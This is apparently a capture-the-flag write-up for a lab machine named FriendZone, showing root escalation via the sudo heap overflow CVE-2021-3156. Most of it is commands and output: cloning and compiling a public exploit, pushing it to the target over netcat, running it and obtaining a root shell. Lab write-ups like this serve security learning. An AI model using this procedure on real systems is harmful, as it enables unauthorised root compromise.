CVE-2021-3156


PEAS discovered that the target system is vulnerable to CVE-2021-3156 a vulnerability was found in sudo up to 1.8.31p2/1.9.5p1 (Operating System Utility Software). It has been rated as critical. This issue affects the function sudoers_policy_main. The manipulation with an unknown input leads to a heap-based overflow vulnerability. Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Impacted is confidentiality, integrity, and availability.

exploit (sudo baron samedit)


While there are many exploits available for CVE-2021-3156, this one worked

friend@FriendZone:/dev/shm/CVE-2021-3156$ gcc
 
Command 'gcc' not found, but can be installed with:
 
apt install gcc
Please ask your administrator.

Although PEAS claimed that gcc compiler is installed to the target system, it wasn’t the case.

Therefore, I would need to compile the exploit remotely

Docker Exploit Development


┌──(kali㉿kali)-[~/archive/htb/labs/friendzone]
└─$ docker run -it --entrypoint "/bin/bash" --name ubuntu18 ubuntu:18.04

Starting Ubuntu 18.04 in a docker container since the target system runs it.

root@89bc4afc5de7:/# apt update -y ; apt install net-tools netcat nano gcc gcc-multilib make git -y

Installing the necessary tools

root@89bc4afc5de7:~# git clone https://github.com/blasty/CVE-2021-3156 ; cd CVE-2021-3156
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0
unpacking objects: 100% (50/50), done.

Downloading the exploit package

root@89bc4afc5de7:~/CVE-2021-3156# make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c

Comiling

root@89bc4afc5de7:~/CVE-2021-3156# cd .. ; tar -czf CVE-2021-3156.tar.gz CVE-2021-3156

Archiving the package for delivery

root@89bc4afc5de7:~# nc 10.10.10.123 2222 < CVE-2021-3156.tar.gz
 
friend@friendzone:/dev/shm$ nc -nlvp 2222 > CVE-2021-3156.tar.gz
Listening on [0.0.0.0] (family 0, port 2222)
Connection from 10.10.14.11 46348 received!

Delivery Complete

Exploitation


friend@FriendZone:/dev/shm$ tar -xf CVE-2021-3156.tar.gz ; cd CVE-2021-3156

Extracting the package from the archive

friend@FriendZone:/dev/shm/CVE-2021-3156$ ./sudo-hax-me-a-sandwich
 
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
 
  usage: ./sudo-hax-me-a-sandwich <target>
 
  available targets:
  ------------------------------------------------------------
    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
    2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
  ------------------------------------------------------------
 
  manual mode:
    ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

The exploit has a little help menu that shows available 3 targets. I will go with0 since the target system is Ubuntu 18.04

friend@FriendZone:/dev/shm/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
 
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
 
using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# whoami
root
# hostname
FriendZone
# ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.123  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:23ad  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:23ad  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:23:ad  txqueuelen 1000  (Ethernet)
        RX packets 762  bytes 115150 (115.1 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 372  bytes 46099 (46.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3816  bytes 229628 (229.6 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3816  bytes 229628 (229.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise